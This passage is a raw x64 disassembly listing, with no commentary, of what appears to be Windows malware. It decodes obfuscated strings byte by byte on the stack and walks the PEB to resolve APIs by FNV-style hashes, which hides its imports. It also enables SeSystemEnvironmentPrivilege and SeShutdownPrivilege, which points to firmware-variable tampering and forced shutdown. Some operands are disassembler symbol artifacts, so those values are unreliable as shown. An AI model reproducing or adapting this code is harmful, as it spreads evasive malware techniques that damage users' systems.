sub cl, al
sub cl, sil
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
dec cl
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
inc cl
mov byte [rsp + 0x35], cl
mov al, 0xd1
movzx edx, al
movzx eax, dl
and al, 0xdc
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
mov al, 0xd1
movzx ecx, al
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
add cl, 3
mov byte [rsp + 0x37], cl
mov al, 0xd6
movzx edx, al
movzx eax, dl
and al, 0xde
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0xe1
movzx ecx, al
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
add cl, 5
mov byte [rsp + 0x39], cl
mov al, 0xa6
movzx edx, al
movzx eax, dl
and al, 0xe0
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, 0xa7
movzx ecx, al
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
add cl, 7
mov byte [rsp + 0x3b], cl
mov al, 0x38
movzx edx, al
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
mov r8, qword [rbp - 0x50]
movzx ecx, r8b
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
add cl, 9
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xe4
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
add cl, 0xb
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0xe6
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xe7
add al, al
sub cl, al
add cl, 0xd
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xe8
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
add cl, 0xf
mov byte [rsp + 0x43], cl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0xea
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
add cl, 0x11
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
mov eax, ecx
movabs rdx, 0x1ed825c64b7411ec
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x26
mov byte [rsp + 0x46], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xe1
mov r8b, 0xe5
mov r9b, 0xe6
mov r10b, 0xf3
mov r11b, 0xf5
mov sil, 0xfc
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
movups xmmword [rsp + 0x3c], xmm0
mov word [rsp + 0x4c], cx
movzx edx, al
movzx eax, dl
and al, 0x52
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
add cl, r14b
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0x54
mov ecx, 0xb
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
add cl, r12b
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0x56
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, sil
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
add cl, 0x19
mov byte [rsp + 0x35], cl
mov al, 0xfb
movzx edx, al
movzx eax, dl
and al, 0x58
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
mov al, 0x35
movzx ecx, al
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
add cl, 0x1b
mov byte [rsp + 0x37], cl
mov al, 0xf8
movzx edx, al
movzx eax, dl
and al, 0x5a
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0xf1
movzx ecx, al
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
add cl, 0x1d
mov byte [rsp + 0x39], cl
mov al, 0xf6
movzx edx, al
movzx eax, dl
and al, 0x5c
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, 0x63
movzx ecx, al
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
add cl, 0x1f
mov byte [rsp + 0x3b], cl
movd eax, xmm0
movzx edx, al
movzx eax, dl
and al, 0x5e
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x5f
add al, al
sub cl, al
add cl, 0x21
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x60
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x61
add al, al
sub cl, al
add cl, 0x23
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0x62
sub r13b, al
add r13b, r13b
add r13b, cl
mov byte [rsp + 0x40], r13b
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x63
add al, al
sub cl, al
add cl, 0x25
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x64
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x65
add al, al
sub cl, al
add cl, 0x27
mov byte [rsp + 0x43], cl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x66
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x67
add al, al
sub cl, al
add cl, 0x29
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x68
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0x69
add al, al
sub cl, al
add cl, 0x2b
mov byte [rsp + 0x47], cl
movzx edx, byte [rsp + 0x48]
movzx eax, dl
and al, 0x6a
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0x6b
add al, al
sub cl, al
add cl, 0x2d
mov byte [rsp + 0x49], cl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0x6c
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4a], cl
movzx ecx, byte [rsp + 0x4b]
movzx eax, cl
and al, 0x6d
add al, al
sub cl, al
add cl, 0x2f
mov byte [rsp + 0x4b], cl
movzx edx, byte [rbp - 0x50]
movzx eax, dl
and al, 0x6e
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4c], cl
movzx ecx, byte [rsp + 0x4d]
mov eax, ecx
movabs rdx, 0xf8ab594c4757a06f
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x3e
mov byte [rsp + 0x4d], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xe3
mov r8b, 0xe4
mov r9b, 0xe8
mov r10b, 0xed
mov r11b, 0xe9
mov sil, 0xe1
mov r14b, 0x25
movzx r15d, r14b
mov r12b, 0x26
movzx r13d, r10b
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov dword [rsp + 0x3d], ecx
mov word [rsp + 0x41], cx
movzx edx, al
movzx eax, dl
and al, 0xf4
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
add cl, 0x49
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xf6
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
add cl, 0x4b
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xf8
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, sil
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
add cl, 0x4d
mov byte [rsp + 0x35], cl
movzx edx, r14b
movzx eax, dl
and al, 0xfa
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
mov ecx, r15d
movzx eax, r15b
and al, 0xfb
add al, al
sub cl, al
add cl, 0x4f
mov byte [rsp + 0x37], cl
movzx edx, r12b
movzx eax, dl
and al, 0xfc
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov ecx, r13d
movzx eax, r13b
and al, 0xfd
add al, al
sub cl, al
add cl, 0x51
mov byte [rsp + 0x39], cl
mov al, 0xe6
movzx edx, al
movzx eax, dl
and al, 0xfe
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, 0xe7
movzx ecx, al
mov eax, 0x53
sub al, cl
mov byte [rsp + 0x3b], al
mov al, 0xac
movzx eax, al
add al, 0x54
mov byte [rsp + 0x3c], al
mov r8, qword [rbp - 0x50]
movzx ecx, r8b
movzx eax, cl
and al, 1
add al, al
sub cl, al
add cl, 0x55
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 2
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 3
add al, al
sub cl, al
add cl, 0x57
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 4
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, r8b
movzx eax, cl
and al, 5
add al, al
sub cl, al
add cl, 0x59
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 6
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0xf6c5f45c3de0d207
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x54
mov byte [rsp + 0x43], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 4
mov r8b, 0x38
mov r9b, 3
mov r10b, 0xc1
mov r11b, recv
mov sil, 5
movzx r14d, al
mov r15b, 0x8f
xorps xmm0, xmm0
xor r12d, r12d
movups xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x48], r12w
movzx edx, al
movzx eax, dl
and al, 0x19
mov ecx, 0x35
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
add cl, 0x6b
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0x1b
mov ecx, 0x36
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
add cl, 0x6d
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0x1d
mov ecx, 0x37
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, sil
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
add cl, 0x6f
mov byte [rsp + 0x35], cl
movzx eax, r14b
and al, 0x1f
mov ecx, 0x38
sub cl, al
add cl, cl
add cl, r14b
mov byte [rsp + 0x36], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
add cl, 0x71
mov byte [rsp + 0x37], cl
movd eax, xmm0
movzx edx, al
movzx eax, dl
and al, 0x21
mov ecx, 0x39
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
movzx ecx, byte [rsp + 0x39]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
add cl, 0x73
mov byte [rsp + 0x39], cl
movzx edx, byte [rsp + 0x3a]
movzx eax, dl
and al, 0x23
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
add cl, 0x75
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0x25
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
add cl, 0x77
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x27
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x28
add al, al
sub cl, al
add cl, 0x79
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x29
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x2a
add al, al
sub cl, al
add cl, 0x7b
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x2b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x2c
add al, al
sub cl, al
add cl, 0x7d
mov byte [rsp + 0x43], cl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x2d
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x2e
add al, al
sub cl, al
add cl, 0x7f
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0x2f
add al, al
sub cl, al
add cl, 0x80
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0x30
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rsp + 0x47], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x31
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0x32
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rsp + 0x49], cl
movzx ecx, r12b
mov eax, ecx
movabs rdx, 0x2f32fa95fb073633
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x51
mov byte [rsp + 0x4a], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0x23
mov dl, 0x51
mov r8b, 0x5d
mov r9b, 0x2a
mov r10b, 0x28
mov r11b, 0x5a
mov sil, 0x92
mov r14b, 0x5b
mov r15b, 0x52
mov r12b, 0x4d
mov r13b, 0xa0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rsp + 0x3b], rcx
mov dword [rsp + 0x43], ecx
mov word [rsp + 0x47], cx
movzx ecx, al
movzx eax, cl
and al, 0xe7
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
sub cl, 0x69
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
sub cl, 0x68
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 0x67
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 0x66
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
sub cl, 0x65
mov byte [rsp + 0x35], cl
movzx ecx, sil
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
sub cl, 0x64
mov byte [rsp + 0x36], cl
movzx ecx, r14b
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
sub cl, 0x63
mov byte [rsp + 0x37], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
sub cl, 0x62
mov byte [rsp + 0x38], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xf0
add al, al
sub cl, al
sub cl, 0x61
mov byte [rsp + 0x39], cl
movzx ecx, r13b
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
sub cl, 0x60
mov byte [rsp + 0x3a], cl
mov rdx, qword [rbp - 0x50]
movzx ecx, dl
movzx eax, cl
and al, 0xf2
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
sub cl, r8b
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, r14b
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, r11b
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x59
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, 0x58
mov byte [rsp + 0x42], cl
movzx ecx, dl
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, 0x57
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
sub cl, 0x56
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xfc
add al, al
sub cl, al
sub cl, 0x55
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
sub cl, 0x54
mov byte [rsp + 0x46], cl
movzx ecx, dl
movzx eax, cl
and al, 0xfe
add al, al
sub cl, al
sub cl, 0x53
mov byte [rsp + 0x47], cl
movzx eax, byte [rsp + 0x48]
movabs rcx, 0xdff363d13b62d7ff
sub rcx, rax
sub cl, 0x51
mov byte [rsp + 0x48], cl
lea rcx, [rsp + 0x30]
call rbx
mov r15d, edi
mov r14d, 0xb0805e33
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400111e9
cmp word [rax + 0x48], di
je 0x1400111e9
mov ecx, dword [rax + 0x58]
sub cx, 8
test r15d, r15d
je 0x140011063
mov r9, qword [rax + 0x60]
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0x693e3fa8
cmp r9, rbx
je 0x14001105a
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140011030
cmp r10d, r15d
jne 0x1400111e9
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r10, rdx
shr r10, 0x20
mov qword [rsp + 0x30], r10
mov esi, edx
add rsi, r11
cmp rsi, r11
je 0x1400111e9
mov ebx, dword [rsi + 0x18]
test ebx, ebx
je 0x1400111e9
mov r8d, dword [rsi + 0x1c]
add r8, r11
mov qword [rbp - 0x38], r8
mov ecx, dword [rsi + 0x24]
add rcx, r11
mov qword [rbp - 0x40], rcx
mov r9d, dword [rsi + 0x20]
nop dword [rax]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov r13d, dword [r8 + rcx*4]
add r13, r11
mov qword [rbp - 0x50], r13
lea rcx, [r9 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp r13, rsi
jbe 0x1400110df
lea rcx, [rsi + r10]
cmp r13, rcx
jae 0x1400110df
mov r12b, 1
jmp 0x1400110e2
xor r12b, r12b
mov r10d, 0x693e3fa8
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14001112b
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011100
cmp r10d, r14d
je 0x140011151
test ebx, ebx
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov r10, qword [rsp + 0x30]
mov r9d, dword [rsi + 0x20]
jne 0x1400110b0
mov rax, qword [rax]
jmp 0x140010ff0
test r12b, r12b
je 0x1400111f1
mov r15d, 0x693e3fa8
mov r14d, r15d
movzx edx, byte [r13]
cmp dl, 0x2e
je 0x140011198
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r13
movzx edx, byte [r13]
cmp dl, 0x2e
jne 0x140011170
inc r13
movzx edx, byte [r13]
test dl, dl
je 0x1400111d8
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea r13, [r13 + 1]
movzx edx, byte [r13]
test dl, dl
jne 0x1400111b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140010ff0
mov dword [rbp - 0x38], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea r9, [rbp - 0x30]
xor r8d, r8d
mov esi, 0x28
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140011247
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x140012d26
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x30]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140012d26
mov r15d, 1
mov dword [rbp], r15d
mov r14d, 2
mov dword [rbp + 0xc], r14d
mov qword [rbp + 4], reloc.WS2_32.dll_sendto
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 0xf]
lea r8, [rbp]
xor edx, edx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov qword [rbp + 4], 0xa
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 0xf]
lea r8, [rbp]
xor edx, edx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x140012d26
test eax, eax
je 0x140012d26
xor bl, bl
mov qword [rbp - 0x38], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x38]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140012884
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0xc]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140011338
mov dword [rbp - 0x10], r15d
mov dword [rbp - 4], r14d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0xc]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140011380
mov dword [rbp - 0x10], r15d
mov dword [rbp - 4], r14d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14001288e
call fcn.140059370
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rdi
lea rcx, [rbp - 0x28]
call fcn.14000e630
movabs rdx, 0x3d18c65b51d20edb
lea rcx, [rbp - 0x28]
call fcn.14000ee30
mov qword [0x1401c5178], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x1400113e4
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
jmp 0x1400114e1
movabs rdx, 0xa3e86b9f7a20b19a
call fcn.14000ee30
mov qword [0x1401c5168], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x140011418
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
jmp 0x1400114e1
movabs rdx, 0x5afed1193811099
call fcn.14000ee30
mov qword [0x1401c5198], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x14001144c
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
jmp 0x1400114e1
movabs rdx, 0xae01160ee15e6840
call fcn.14000ee30
mov qword [0x1401c5188], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x14001147d
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
jmp 0x1400114e1
movabs rdx, 0xcf7aec834cc5a39d
call fcn.14000ee30
mov qword [0x1401c5180], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x1400114ae
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
jmp 0x1400114e1
movabs rdx, 0x6bed4a20ab1a3bb2
call fcn.14000ee30
mov qword [0x1401c5190], rax
lea rcx, [rbp - 0x28]
test rax, rax
jne 0x140011a7c
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
mov cl, 0xe6
mov dl, 0xf8
mov r8b, 0xd6
mov r9b, 0xfa
mov r10b, 0xe0
mov r11b, 0x35
mov bl, 0xeb
mov dil, 0xe5
mov sil, 0xe2
movzx r14d, cl
movzx r15d, r10b
xor r12d, r12d
mov qword [rsp + 0x5c], r12
mov word [rsp + 0x64], r12w
movzx eax, cl
and al, 0xf4
mov r13d, 0x24
sub r13b, al
add r13b, r13b
add cl, r13b
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0xf5
add al, al
mov ecx, 0x49
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0xf6
mov ecx, 0x25
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0xf7
add al, al
mov edx, 0x4b
sub dl, al
add r9b, dl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0xf8
mov ecx, 0x26
sub cl, al
add cl, cl
add r10b, cl
